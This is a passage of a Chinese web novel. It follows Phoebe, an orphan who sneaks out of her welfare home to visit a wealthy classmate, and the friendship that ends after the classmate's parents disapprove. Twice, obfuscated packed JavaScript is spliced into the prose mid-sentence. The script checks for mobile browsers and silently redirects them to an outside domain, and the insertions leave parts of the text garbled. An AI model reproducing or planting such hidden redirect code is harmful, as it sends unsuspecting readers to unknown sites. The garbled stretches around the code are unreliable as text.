大家都站在孩子那一边，凶狠家长看似冷静下来以后，将满面泪痕的孩子拖走早退了。他一边不管不顾地扯孩子走，一边命令孩子不许哭!哭了就不是男的!再哭就再打一顿…… 大家嘀咕这公狗熊欺负弱小才不是男人! 等他们走了，情绪稳定的家长们窃窃私语说，有这么暴躁的家长，怪不得孩子不愿意把成绩单给他看要自己签字，如果给他看了，不知道要被毒打多久。他这种人压根不配做父亲，孩子还不如在孤儿院生活呢!哎呦喂，他真是把教室里的孩子们吓都要吓死了…… 顾着大局的班主任揉了揉眉头，力不从心地安抚躁动的家长们，有家长建议报警看看孩子的后续，老师也是这么想的，他们就真的报警了。 小菲比和所有担心小男生的同学们都松了一口气，我也分心去看了看后续，警察确实上门教育了凶狠如野猴子的暴力家长。 一波三折的家长会快结束的阶段，班主任顺便通知了各位家长，六一儿童节的那天，有空的话可以来学校观看孩子们的表演。 放学后，刘逞美强牵着父母来向小菲比特意道别，她家今天也开着私家车来接送她上下学。刘逞美本来还想邀请小菲比坐自己家的车，最后被父母制止了说有事要忙，这对父母只是照旧客气地与满脸期待的菲比打了个招呼，他们便开车缓缓驶离学校。 刘逞美在车上不断地给小菲比挥手道别，俏皮地说明天见，还问菲比明天早上想吃什么，她给朋友带来。小菲比说什么都可以，只要是你送的，我都喜欢。 在大家回福利院的路上，小菲比对临时妈妈有理有据地说：“嗯，妈妈，以前我觉得一定要有亲生父母才好，现在我觉得就算有亲生父母也不一定是好事是吧，天底下又不是所有的父母都爱自己的孩子。刚刚在教室里发生的事情好吓人啊，我真的感觉那个坏男人要把同学从窗户上扔到楼下去了，他太过分了，我讨厌他，他真恐怖，太坏了……多看他一眼我都会做噩梦……我的同学以前肯定没少挨打挨骂，以后肯定也会被经常打骂的，谁能去救救他呢？他真可怜……” 临时妈妈说：“唉，菲比小小年纪比很多大人都懂道理呢。是啊，不能再说天下无不是的父母了，也不能说天底下没有父母不爱自己的孩子，自从我来到了福利院工作，我就知道这两句话大错特错，完全是没有道德的话。只有没有道德的父母和亲戚才爱说这两句话，他们简直被自我洗脑得醒不过来了，连没有生孩子的我都在想，我要是生下一个小孩，对孩子做错了什么该怎么办呢？因为我在福利院也经常有不耐心的时候，过后又对可怜的孩子们愧疚。那些真正做了父母的人怎么就不会反省呢？” 10. 逞美之家 六一儿童节将至，在最后一个双休日，老师提醒孩子们在家里也可以独自练练彩排的内容，不要过了两天就把好不容易彩排好的内容忘光了。 是故，刘逞美和小菲比商量，她俩应该在双休日的时候见个面一起彩排，她们互相真怕表演的时刻出错，彩排的期间就没少因为紧张出错。她们得商量一个不让自己那么紧张的方法，这个办法她们目前并没有想出来。 小菲比告诉刘逞美，福利院的孩子通常不能外出，大人抽空组织什么活动都需要申请，在监护人的陪同下，孩子们才能待在外面。她觉得她完全申请不了去同学家里的事情，就问刘逞美能不能去福利院？ 刘逞美也很苦恼，她父母在双休日的白日都有事情，她一个人在家的话不能长时间地随意出门，爸爸妈妈说小孩子一个人出门很危险，会遇到坏人的，家里的门都不能随意打开。她希望小菲比向福利院申请去她家彩排，顺便去她家玩玩，她期盼好朋友能去她的家里，她会给小菲比准备下午茶的。 小菲比听了憧憬又期待，于是，她们商量一起秘密出行。 我记不清这段时间发生过什么，自从我生前患心理病吃了很多药物，忘记了童年的好多事情，从我的灵魂旁观过去开始才逐渐记起来很多事。当我听到她们的密谋后，内心有不好的预感，认为小菲比肯定会被责骂。 我的内心一时之间很复杂，我一方面希望她不要太招摇，一方面又觉得她被困在福利院很久，偶尔出去走走也没什么。小菲比如今已经完全看不见我了，偶尔能听到一些我的声音，我只好在她晚上睡着的阶段入梦与她商量，你愿意承担偷偷去外面后，被大人惩罚的后果吗？大人们会担心的啊，尽量不要这样做，不要牵连别人。 小菲比没有犹豫地说，守护神妈妈，我一定要去刘逞美家彩排，我已经答应她了，我不能食言说话不算话啊，我如果说话不算话，刘逞美会生气的，她就再也不和我玩了，我不能失去她。 她已经发现梦境里的妈妈和守护神是同一个人了。 我总觉得有什么捕捉不到的记忆想不起来，我只好苦口婆心地劝童年的我，别做太过冒险的事。 小菲比有时候是个犟种，她为了事先答应的彩排，必须要去刘逞美家，并且她跪下苦苦求我，让她自主去一次外面就好，只有一次，她就再也不会添乱。她常常也把我当主心骨，会征求我的意见。 我说那么之后不管发生的事，你就不要埋怨我没提醒你了，你得自己接受惩罚，我不会帮你。天真的小菲比一口答应了。 我的灵魂感到不踏实，可是又觉得自己看着小菲比，她至少不会有什么安全上的问题。 两人约好了在福利院一个可以偷跑出去的漏洞之地见面，刘逞美骑自行车来载小菲比回家。小菲比第一次那么不守规矩，她先斩后奏留了一张纸条告知大人们，她去了同学家彩排，不用找她，下午她会回来的。 刘逞美骑着自行车载上客人小菲比以后，她俩被外面花花绿绿的世界吸引了，忍不住在外面晃荡，刘逞美还掏出挎包里的零花钱请小菲比吃东西，她们买了零食就想着找个环境不错的地方坐下来慢慢吃，彼此来到公园感受鸟语花香的美景。 太阳当头晒得她们身上流下汗珠，小女孩儿们的脸颊都被晒红了，小菲比提议用门卫爷爷给的零花钱请刘逞美吃冰淇淋。 几分钟后，刘逞美舔着巧克力味的甜筒，笑眯眯地赞美门卫爷爷对小菲比真好。小菲比说刘逞美也对她很好呀，怕她没有钱，总是想要请客。 她俩吃饱了又想逛街，好不容易能一起作伴看看外面的世界，两个小孩子忍不住在外奔来跑去地玩乐，玩得满头大汗。她们东逛西逛差点儿忘了正事，最后是日常相对比较自由的刘逞美提醒小菲比，我们可以回家彩排了吧？ 小菲比意犹未尽地看了看眼前的世界，点头同意，不舍地坐上小自行车跟着刘逞美回家。浑身是汗的女孩子们到达家里，依旧并没有开始彩排，我抓狂地在旁边提醒她们，你们倒是彩排啊!可惜没有人听得见，我变成了一个寂寞的灵魂。 刘逞美表达身上黏糊糊的很不舒服，她亮起眼睛邀请小菲比一起去浴室洗澡。小菲比刚来到好朋友富丽堂皇的家，已经被房子里的装修迷了眼，她转头四处打量高档整洁的房间，任由刘逞美牵着她进了浴室。 刘逞美在洁白的浴池里放好温水，倒入洗头和洗澡混合的沐浴液，先帮小菲比脱掉衣服，带笨拙的朋友进入滑溜溜的浴池。她稍后利索地跳进了池子里，蹦得泡泡水四溅，俩人清脆的笑闹起来。 她们玩闹一阵后，小菲比转头环视着浴室，感叹道：“逞美，你就像一个真正的公主，住在奢华的城堡里，拥有尊贵的父母，而城堡里应有尽有……我真羡慕你……” 刘逞美用泡沫点了一下小菲比的鼻子，便捧起小菲比的脸颊揉了揉，宽慰道：“菲比，有时候我也很羡慕你，没有谁给你很多的压力，爸爸妈妈有时候真的很烦人，他们要我学的东西太多了，我这个双休日是借着头晕不舒服才没有去不停地补课……好啦我们都有好和不好的地方，你喜欢我家的话，以后经常来玩啊，我下次再来载你好了……” 小菲比用力地点点头，刘逞美拿起棉球帮她搓澡还不够，又拿了搓澡巾把她的皮肤都搓得通红，顺便打趣道：“哇，你身上的灰多得可以搓一个伸腿瞪眼丸啦。” 小菲比微微红了脸有些不好意思，她玩笑道：“我的伸腿瞪眼丸给你吃了保命，如果你天天补课累了，你就吃下它，很快就能恢复精力的。” 她们互相都推荐彼此吃伸腿瞪眼丸，然后异口同声地呕了一声，说对方恶心。 女孩子们在房间里洗完泡泡浴，刘逞美为小菲比裹上一条柔软的浴巾以后，便把好朋友推到了自己的房间里，她打开衣柜就态度大方地说：“你挑几件喜欢的衣服打包带走吧，先挑一件你觉得好看的衣服穿，不论哪一件，我都送给你了。” “哇……你的衣柜好大……所有的衣服都很漂亮……你完全就是公主本尊!高贵的公主，我真的可以穿你的衣服吗？我配吗？我配得上你的衣服吗？我值得吗？不行，我不能带走你漂亮昂贵的衣服，我在这里穿一下就满足了，我想穿那条粉色的蓬蓬裙，可以吗？”小菲比的眼泪都快冒出来了，她感激刘逞美对她实在是太好了，简直和满秋一样好。 刘逞美二话不说就把粉色蓬蓬裙取下来，往小菲比的身上套，她一边为小菲比理裙子，一边肯定地说：“你超级值得!完全匹配!你是我的好朋友呀，你非常值得一切的好，你也是小公主呀，我们每个女孩子都是公主，你看过《小公主》那本书吗？没看过的话我把书都送给你看，小公主别跟我客气!我爸爸妈妈有一点特别好，不管我想要买什么，他们尽量都会满足我，我不缺这些东西，全部可以分享给你。” 然后刘逞美很快找来一个大布袋，把好几件小菲比刚才注意到的花裙子都放了进去，并且把玄关处的两双小皮鞋也配对塞进了布袋里，她塞着塞着不禁把粉色、蓝色和紫色的发卡也放到了礼物中。她表示这是六一儿童节的礼物。 小菲比既惊喜感动又不敢承担刘逞美的好意，她上前阻止好朋友继续往布袋里塞东西，哭着说：“你有这份心意我就已经很满足了，真的!你别再给我送这么多礼物了，我……我回报不了你什么……而且我就算把礼物带回院里，也会有其他人跟我抢东西，我可能保护不了你的众多礼物，我只需要一样东西就够了。” “没关系，我多塞几件漂亮衣服，就分给院儿里的女孩子们吧。”刘逞美还是不管不顾地把六一大礼包送给小菲比了，她拥抱住小菲比帮其擦泪，姐妹互相说了会儿贴心的话，她俩又觉得饿了，刘逞美开始准备精致小资的下午茶。 我的灵魂已经不着急催她们彩排了，孩子们难得享受一下生活更不错。受宠若惊的小菲比享受下午茶时，不住地打量她眼中的城堡，城堡很大显得有些冷清，墙上挂了好几个有质感的相册，照片上有幸福一家人，有父母的合照，也有刘逞美单独的照片。刘家的厨房和厕所都很宽敞华美，小菲比觉得这些房间比她们福利院所有的房间都要好看。 刘逞美还有一个专门摆放玩具的地方，她想起什么又去拿玩具塞进六一礼包里，布袋已经鼓成了一个圆大皮球。 刘逞美最后拿出一套迷你厨房的玩具和几个芭比娃娃，招呼小菲比过来玩游戏，她们只要在一起就会被周围各种事情诱惑得忘了彩排，也许在她们的内心，她们是想借彩排见面约会。 她们玩够了刚刚开始彩排不一会儿，下午叔叔阿姨突然提前回来了，当他们发现家里多出来一个眼熟知底的女孩子，并没有那么高兴，父母皱眉互相看了彼此一眼，接着与孩子们一起表演了起来。 刘逞美竭力解释，她们今天在家练习彩排，为了非常重要的六一儿童节的表演不出差错。小菲比怯生生地附和着刘逞美的话，大人发现她们偷玩在一起的事，让她立刻七上八下地产生强烈的负罪感。 父母没说什么，当面一如既往很客气。他们关心地问，小菲比的家人知道她来这里了吗？ 小菲比难得撒谎说，父母知道。刘逞美看了她一眼，欲言又止。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630352|172519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刘家父母商量说，时间也不早了，妈妈先做一顿饭，爸爸陪孩子们一块儿玩，一家人吃完饭休息一会儿，爸爸就送小菲比回家吧，免得小菲比的家人担心。 大人能这么说，她们已经明白不该再提多玩一会儿的要求了，两个孩子都感觉做了亏心事，不敢再得寸进尺。 在小菲比以为刘家父母能接受她做刘逞美的朋友时，她去上厕所回来的空档，无意间听到了他们真实的对话，他们不满地叨叨说：“这孩子该不会乱跑出来的吧？刘逞美你少和她一起玩，她以后乱跑出什么事，孤儿院第一个找上咱们家。再说了孤儿院的孩子没有父母，生活质量差，心理都不健康，他们看起来都不阳光，指不定心里阴暗得很，就想从你这里获得什么好处……我们给你看了多少遍新闻，装好孩子的恶孩子把其他孩子害死了，这种事有不少，那么恐怖的事情不是没几率发生。你看看你这傻孩子掏心掏肺地对人好，爸爸妈妈说了多少遍了，少和野孩子一起玩，你这个不防备别人的个性一定要改，太大方了也不是好事……” 刘逞美生气地反驳着父母的话，不停地解释都是她邀请朋友来家里玩，是她强迫朋友收下礼物!是她想要照顾好朋友，菲比很阳光很好的…… 父母不想听女儿的辩解，只是一昧灌输他们的思想给她，在气势上压制她，不要她和孤儿做朋友。他们强烈地谴责女儿，学校里那么多同学，你跟谁做朋友不好，偏偏和孤儿做朋友，还同情心泛滥。 我的灵魂忍不住踹向刘逞美的父母两脚，却踹了个空，他们家有平安福的光芒，我的意念对他们没有用，我气得凭空乱打了一通。原来我不好的预感是对的，这太伤我和小菲比的心了。 小菲比听了这些话黯然伤神，甚至不敢出去面对他们，她蹲在酒柜子另一面憋住眼泪，是我慢慢地把她推了出去，面对她不想面对的一切。 小菲比很失望和伤心，也生气刘逞美没有帮她保守好秘密，好朋友似乎早就把她的身世透露给了父母，刘逞美也许以为父母是完全可以信任的存在，不知道刘逞美还有没有告诉其他觉得可以信任的人。 小菲比也能理解一对怕事且担心女儿的父母，但是她不想理解他们为什么要难听地揣测福利院里的孩子们，所以她想装作若无其事地做完客再走，以后再也不来刘逞美家了。 而且菲比渐渐觉得她们确实不一样，不是一个世界的人。这是她第一次体会到家庭的差距，迟早导致两个人产生距离。幸好她们不是谈恋爱，不然刘逞美的父母会泼她一脸水吧。这是她从电视剧上看来的场景，有钱父母都喜欢泼穷孩子一脸水，并且用钱打发穷人。 他们还没有一起吃上傍晚的八珍玉食，福利院里的工作人员和警察就找上门来了，刘逞美的父母连忙解释他们没有拐带小孩，是这俩孩子偷跑到了一起，他们也不知情，正准备吃了饭就送小孩回福利院。 看到警察叔叔的那一刻，小菲比顿时感到她犯了大错，吓得魂不附体，她暗暗发誓再也不乱跑出福利院为别人添麻烦。 福利院里派出来的工作人员有些凶地瞪了几眼小菲比，警察叔叔做好了记录以后反而比较和气，他是负责彩虹福利院的区域警察，他和工作人员分别唱白脸和红脸，一起教育小菲比怎么能乱跑出福利院呢？这让忙碌的梅香院长和长辈们担心坏了，大家都停下了手里的事来找小菲比一个人。外面的世界很危险，小孩子不可以一个人在外面逗留，必须要有监护人在侧…… 知错的小菲比在他们教育她的时候，就忍不住落下大颗的泪水恸哭起来，所有复杂的情绪交织在一起通过眼泪宣泄了出来。工作人员已经习惯福利院孩子的哭声，警察叔叔反倒被小女孩儿的痛哭搞得有点儿无措，他便抱起小菲比用温和的语气哄孩子。他一边帮可怜的小菲比擦眼泪，一边告诉她说，叫他许叔叔就好了，以后她遇到危险和坏人，就来找许叔叔和其他的警察叔叔，菲比千万不要害怕警察叔叔，警察叔叔会帮助所有的小朋友和需要帮助的人…… 小菲比哭得小脸通红，咳嗽了好几声，她抽抽噎噎地答应了这位警察，并且喊他爸爸，她说了好几声：“爸爸我知道错了，我再也不敢了，爸爸对不起……” 警察叔叔的心都像白天她们吃的甜筒似的化开了，他也连着答应了小菲比的那几声爸爸。 那是小菲比这辈子第一次做警车回福利院，而许叔叔是后来第一个下车的人。他下车的时候，好像看见了我的灵魂，稍后他搓了搓自己的眼睛，又一副应该是自己看错了的表情。 许叔叔提前下车了，而我曾经非常想帮他把列车的门关上。 11. 滴答滴答 小菲比坐在警车上忐忑不安地捏手指，一向对外界好奇的她，暂无心思观察警车内部和窗外路过的一切，她害怕福利院里所有人都会向她发难，可她知道她必须得承担自己违规的后果，并且最好得主动承担。 许叔叔抱小菲比下车的时候，小菲比紧紧地搂住他的脖子，启口讨好地问他：“警察爸爸能不能在福利院多待一会儿，求你了爸爸，我害怕……爸爸之前说过你会帮助所有的小朋友……我需要你的帮助……我需要爸爸陪我……” “小丫头现在知道害怕了？”面容稳重的许叔叔轻笑了几声，随和说道，“你放心，我肯定要进去交接事宜完善工作，我知道你害怕什么，我会让他们不要太苛责你，他们担心坏了，也不会只想着批评你……” “谢谢爸爸……”小菲比仍然不停地拨弄自己的手指，她紧张不安起来就会玩手指，还会把手指放到嘴巴里含着，或者习惯性抿嘴。当警察叔叔把孩子抱入福利院的交接人手里，他与梅香院长沟通一番为小孩子说话，再做完笔录，他就准备离去了。 而小菲比学起西伯利亚的动作，无赖地抱住许叔叔的大腿，不让警察叔叔那么快离去，她眨着泪眼忍不住地问：“爸爸，你以后还会来看我吗？”除了梅香院长看不出来什么生气的表情，她已经看到妈妈们的脸色都不大好看，她希望警察叔叔回访。 警察叔叔答应她，他会的。他们拉钩约定之后，他又把小菲比抱起来哄了一会儿，哄得今天精疲力尽的小菲比睡着了，他就得去忙其他事情了。 睡了一夜过后，大家的怒气都减低了不少，他们开始更担心孩子们乱跑的安危。经过这件事，他们把防止孩子乱跑出去的规矩管得更严了。 小菲比一大早在天都没亮之际睡醒后，脑子里空白片刻，不知道自己是谁，身在哪里。等她慢慢想起这漫长又短暂的痛苦人生，内心变得沉重不安。 我由小到老常常是这样，总在刚睡醒那会儿有片刻失忆，这未尝不是一种短暂的幸福，在这失忆的须臾，我却要努力地想起让我不能承受的铺天盖地的灰暗记忆。我想，我宁愿做一个痛苦而清醒的人，也不愿意做一个脑子空空如也而无知快乐的人。 我已经在梦境里教过小菲比如何承担错误了，她想起梦里妈妈的教育，就起床开始多写几份几百字检讨书，写了前因后果、自己的想法、不该影响大家和最后意识到教训，这难不倒作文优秀的小菲比，她得向福利院里的家人们表现出足够的认错诚意。随后小菲比先去找梅香院长认错，主动上交了一份检讨书，再依次把检讨书交给了管她的保育员妈妈、老师和门卫爷爷，甚至背了一根从灌木丛扯来的荆棘，挨个上门负荆请罪。 大家被小菲比的认错态度搞得完全气消了，一个个哭笑不得，纷纷心疼起她来。尽管小菲比的认错态度非常诚恳，可是该受的惩罚还是得受，不能让孩子们觉得随便跑出去不会得到惩罚。 只要由梅香院长带头的家人们都不再生气，只是和气地命令小菲比接受院里的惩罚，她心里踏实了就容易承担后果。她被体罚并且增加更多的家务，还得多去照顾其他的弱势孩子们。 小菲比和刘逞美违规见面的事情，学校里的班主任也知道了。在星期一，刘逞美的父母一起送孩子上学的那个清晨，他们亲自与赵老师深入沟通，提出了一个无礼的要求。他们要求老师把刘逞美的同桌换掉，并把她们排在一起的学号也换掉，可以的话，离间她们做不了朋友最好。 刘逞美在家里就已经知道此事了，经济尚在襁褓中的她无力反抗父母的规矩，她在家里只能大喊父母是法西斯!其后赌气地摔门回房，学西伯利亚绝食抗议。 父母可不吃这一套，他们威胁刘逞美，如果她不听他们的命令，那么他们就会安排她转班甚至转学，不甘心的刘逞美迫不得已就范了。 小菲比出走惊动了警察的事可大可小，赵老师理解忍不住操心的父母，也理解不同生活环境下的孩子们的友谊。所以赵老师在家长的压力下，不得已而为之地将两个女生在教室里的座位分开了，不过她私下悄悄与孩子们沟通：“父母是有为孩子建议交什么朋友的想法的权利，但这种想法不能强加在孩子身上，除非孩子交的朋友确实是坏孩子，可咱们的菲比又不是坏孩子，菲比只是渴望得到友情和爱，在年纪还小的时候做了一个不成熟的决定，也不是太大的错误，是可以理解的。你们不一定要当着长辈的面抗议和他们对着干呢，可以悄悄地玩到一起，老师不会告诉他们的……” 赵老师最好了。小菲比早就说过这句话了。如今刘逞美也这么认为，可小菲比和刘逞美之间还是产生了淡淡的隔阂，刘家父母的话和做法始终刺痛着她，没有守信用的好朋友也把她的身世透露出去了，而且是透露给看不起她的大人。如果不是刘逞美泄密，她们也不会走到今天这一步，小菲比心想。 只有刘逞美越被父母阻止越想和小菲比交朋友，毕竟她平时什么都能得到，越不能让她得到的东西她就越想要，比如友情和自由。再加上小菲比与她的身世差异，莫名吸引着她想了解下去，想和这种境地的人做朋友尝试不一样的感觉。 人小鬼大的西伯利亚调侃说：“这整得你俩像豪门小姐与穷鬼谈恋爱，被狗眼看人低的父母拆散了，真狗血，小菲菲没被老瘪三泼了一杯水吧？如果刘逞美的瘪三父母敢泼你的水，我一定变身spider man帮你复仇!” “虾头阿普。”烦心的小菲比懒得理西伯利亚，她用了从刘逞美那里学来的英文谐音企图命令西伯利亚闭嘴，反正他的英语成绩最好，喜欢看外国电影，听得懂一些简单的英文。 这敌不过西伯利亚是一个话痨，老师以前将他单独安排在一个座位，他都能跟墙面聊起来，还在墙上画了不同的小人，一人饰演多个角色互相聊天热闹极了。他曾经甚至在第一排的特殊位置，与不同的任课老师聊天。 他们在星期一就换了同桌，赵老师安排小菲比和小西伯利亚坐到了一起，老师认为热情的西伯利亚也许能让小菲比没空难过。班主任在表面找借口觉得小菲比能治住西伯利亚，就请她帮忙管管混小子。赵老师更不想大家对她们突然换位置，产生过多的风言风语和好奇心，不如用旧日的绯闻掩盖新事。赵老师将来确实是去做网络营销的工作了。 小西伯利亚与小菲比成了同桌本来超级开心，这是他做梦都想不到的美事，可是他看到小菲比偷哭几次过后，就觉得保持原来的位置比较好，他可以成全她们。所以下课以后，西伯利亚就把刘逞美拉到了自己的位置上去，特意请她们叙叙旧。好几次下课，西伯利亚都这么干，直到小菲比要求他别这么做了，他才摸不着头脑地停止了自以为是的好。 下课十分钟内，昔日的姐妹花坐在一起，却比较沉默显得尴尬。刘逞美不管说什么，小菲比都少言少语，然后她问小菲比自己做错了什么？是因为她的父母吗？如果是的话她为父母向好友道歉。她们不是还要一起彩排参加儿童节的表演吗？要是不合作，该怎么表演？ 小菲比依旧沉默着，不想说话。如同她们后来面无笑容地沉默着完成了儿童节的歌舞话剧表演，反正她俩只用跳儿童芭蕾舞，几乎没有台词。她们不用想其他的办法调节自己怎么不紧张了，友谊的裂缝使她们的内心无暇顾及节目，反而水到渠成地完成了表演。 西伯利亚看出来那姐妹俩有了矛盾，他就想方设法地逗小菲比开心，从下课到上课都在人家耳边嗡嗡嗡个不停，吵得要死，连我的灵魂都想扁他一顿，我捂住他的嘴，他就暂停了，等我松开了手，他就继续嗡嗡，我的意念力量也不能持续地控制他住嘴，他的嘴巴真是永动机，我想把他发配到西伯利亚去挖土豆。 而且有次上数学课明明是西伯利亚单方面在跟小菲比说话，拉长了脸的数学老尸公报私仇喊他俩一起去后排罚站。于是小菲比站在垃圾桶旁边，烦躁地威胁西伯利亚：“你想让我讨厌你吗？像讨厌刘逞美一样的讨厌……” 她怎么会讨厌刘逞美呢，她只是退缩了，这是违心所说的话，她有自知之明不想再和刘逞美有过多的牵扯了，其父母已经把事情做得过分，严重地伤害了她的自尊心。 “不不不……”西伯利亚像是发现什么惊天大秘密似的，倒吸一口凉气捂住了大嘴巴。这孩子当然是大嘴巴藏不住事，物以类聚，人以群分，有什么样八卦的兄弟就有什么样的西伯利亚。下课后，他竟然直接跑去问刘逞美：“美眉，你和小菲菲之间发生了什么事？真是非比寻常呀，她为什么说讨厌你？” 美眉是刘逞美在这个班级的外号，她长得白净秀气，个性温和且阳光明媚，是班里公认的美女之一。小菲比长相耐看，胜在气质忧郁清冷，也是班级里的小美女。她俩被称为两朵金花。 西伯利亚的碎嘴子让刘逞美的天都塌了，她最近完全不敢去想象这件事，她隐约猜过，小菲比是变得讨厌她才不想和她接触，她本来以为好朋友只是因为父母的要求，而胆怯地配合下去了。 她便趴在桌上直接哭了出来，嘴里说着都怪法西斯，这一切都是专制的法西斯的错! 西伯利亚感觉最近和女生气场不和，他走哪儿都能惹哭女生，暂时什么都没八卦出来，他就被刘逞美哭泣的样子吓跑了。这憨货转身逃跑的那一刻，没注意和多动症男孩儿一头撞到了一起，撞得两人抱住彼此在地上狼狈地滚了一圈，紧跟着多动症男孩儿便在地上打滚哭闹。 眼冒金星的西伯利亚则是喃喃自己惹祸了，他完全不敢告诉小菲比，他刚刚去刘逞美那里八卦的事情。他爬起来以后扇了自己的嘴巴几下，告诫自己别再学兄弟们的大嘴巴。 这一幕被其他同学尽收眼底，有同学跑到班主任办公室里去告状说，西伯利亚弄哭了刘逞美，还一头撞到多动症男孩儿身上，把人家抱在地上打滚。 批改作业的赵老师按了按脑部，叹了一口气说知道了。每天来为各种小事告状的学生源源不断，办公室里大部分的老师们很烦小学生告状的行为，连赵老师也不例外。 赵老师批改完这一页作业，便去教室看看情况。西伯利亚心慌意乱地夹在中间，忙碌地来回宽慰刘逞美和多动症男孩儿，解说自己不是故意的。赵老师了解基本的情况后，摸摸多动症男孩儿起包的脑袋，将他按到位子上去休息，便带走刘逞美去办公室里沟通了。 西伯利亚没被赵老师惩罚，他松了一口气，灰溜溜地回到了座位上关心小菲比。 小菲比心如刀割地注视到了那一切，她其实是故意告诉西伯利亚，她讨厌刘逞美的，她知道西伯利亚会传话过去，以后刘逞美就不用再来找她示好了，她就只用操心怎么管束西伯利亚。 小菲比和西伯利亚坐到一起以后，她发现他考试的时候也挺离谱的，竟然用点来点去的方法，没几分钟就填完了所有答案。英语考试的听力还没结束，整张卷子居然都写完了，而他英语考的分数也不差。关键是这样草率的答案每次都有人敢抄，西伯利亚的兄弟们懒到每次等人写完试卷就拿过去抄。 西伯利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘逞美转学离别之前，她不想小菲比为此有负罪感，只是说爸爸妈妈觉得这个公立学校的环境不够好，要把她转到私立的学费很贵的学校去了。刘逞美还提前写了两张同学录交给了小菲比和西伯利亚。 在小菲比的那张同学录里，刘逞美写道她最喜欢的颜色是粉色、蓝色和紫色，喜欢的书籍是《小公主》和《小王子》，喜欢的电影是《爱丽丝梦游仙境》《绿野仙踪》《木偶奇遇记》《摩登时代》，喜欢的明星是卓别林、玛丽莲梦露和蕾妮齐薇格，她的外号是美眉，生日在十月十八号，喜欢的歌手是外婆，喜欢的歌曲是外婆唱的所有歌，爱吃的食物有很多，喜欢的水果是草莓和蓝莓，想去的地方是菲比从小到大生活过的地方，人生的梦想是希望菲比找到爱她的亲生父母，第一次见面的情形是做同桌…… 留言内容是：亲爱的李菲比，你是温暖善良、文静沉稳、古灵精怪、勇敢可爱、自信美丽……的女孩儿，所有美好的词语都能用在你身上，长大以后你也一定是这样，你是我在这个学校最喜欢的好朋友，彼此今生有缘做同桌和好友，来世就做亲姐妹，生在一个妈妈的肚子里，下辈子的妈妈会爱你比爱我多。我记得你说过，在福利院里没死就是命大，能活着就行，我多么期望你得到许多的爱。我希望你从此一切顺利安好，能够心想事成，健康活下去就好。总是挂念你的逞美。 另外，我不想姓刘了，长大以后我要跟着外婆姓，因为家里的法西斯领头人是我的罪犯爸爸刘某，他真可恶，是一个小气吧啦的男人。妈妈只不过是一个没有自我的从犯，等我长大以后会把她解救出来的。我会打工赚钱养活她，让她别再听爸爸的瞎指挥。 刘逞美给西伯利亚留言的内容也不算短，她字迹工整地写道：嗨，陆西伯，我们很少叫你的本名，但离别总是要正式一点嘛。你幽默风趣、搞笑担当、活泼开朗、满口脏话、又丑又帅、心地善良、时而发贱、时而可怜……希望你戒掉脏话，那是一个坏习惯。我本来对你无话可说，既然你那么喜欢菲比，希望你以后替我保护她，我把这个朋友交付给你了，你们得成为好朋友，别趁我不在让别人找到机会欺负她哦，否则我会诅咒你这个不尽责的保镖。我知道你是留守儿童，希望爸爸妈妈回来多看看你，那么我就祝你的父母赚够很多钱，让你和父母早日团聚，一家人每天圆满地生活在一起。最后，你的爷爷永远会有很多的土豆可以吃，再也不会像童年经历饥荒一样饿肚子。 我和小菲比以及西伯利亚读着这两张同学录都哭了，原来我捕捉不到的潜意识记忆是，刘逞美与小菲比因为出走事件加速分开了。我是有印象她转学了，可我记不得她为什么要走，如今一切明朗，我真后悔当初没有竭力阻止小菲比和刘逞美，为了一时之快在假日违规见面。 西伯利亚花钱也买了同学录，帮助急得像热锅上蚂蚁的小菲比一起回赠同学录给刘逞美。刘逞美在此校最后放学的那天傍晚，她的妈妈背着爸爸网开一面，邀请小菲比上车与刘逞美说了会儿话，小姐妹郑重地分别。妈妈在刘逞美多次的沟通下，不算执迷不悟，总算在最后向小菲比道了个歉，也和气地抱了抱这个孩子。 她们离别的时候，周围喧嚣吵闹的一切都像是把小菲比隔离在时间之外了，她觉得这个世界上隐形的时钟忽快忽慢，时而停止定格，定住了几秒所有冲击她的画面，之后在刹那间，福利院和教室里的古老钟表声，莫名滴答滴答滴答地传到她冰冷的耳中，无论如何关都关不掉。 再见，刘逞美，小美眉公主。 再见，非比寻常的李菲比。 你永远也无法阻止时间的流逝。 滴答滴答滴答…… 13. 风吹草动 在苏菲医生的引导下，脆弱时期的小菲比状态稍微好了起来，隔了一段时间，小菲比千辛万苦维持的平静，再次被外界的风吹草动打破了。 起因是班费被人偷了。管理部分资源的班长及时发现班费被偷了以后，心里咯噔几下，第一时间将此事上报给了班主任赵老师知道。班长在中午休息之前，明明还看到班费在存钱罐里，午睡醒来以后，几百块钱不翼而飞。 班级里风波不断，赵老师几乎习惯了，让她烦恼的是原本得学习新知识的语文课不得不暂停，她将用自己赶进度的语文课来查案。 赵老师面如平湖地拿起鞭子来到讲台桌上，一边严肃地环视整个教室里的学生们，一边开始如警官一般地演讲。她说，只要小偷主动前来认错，交代偷钱的事情，老师就从轻发落，并且对此永久保密，帮助小偷悄悄地改过自新。小偷有什么困难的话，那就告诉老师，老师肯定会帮助自己的学生度过难关。如果小偷不配合的话，抱着侥幸的心理不肯认错，那就只能把班级里的人都查了，查到凶手以后，后果自负，到时候老师会公开小偷的身份，让大家都知道是谁在偷钱，以后班级里最脏、最苦的活儿都交给没有态度的小偷做，这叫将功赎罪地为班级服务。 赵老师把双手撑在讲台桌上，不厌其烦地重复了好几遍，希望偷钱的学生自觉点。她最开始查案的方法是吩咐所有人撕下一张纸，写下自己近期犯过的错误，班主任和副班主任默默前来收纸条查看，每个人都会犯错，偷钱的学生也能有机会匿名改正。 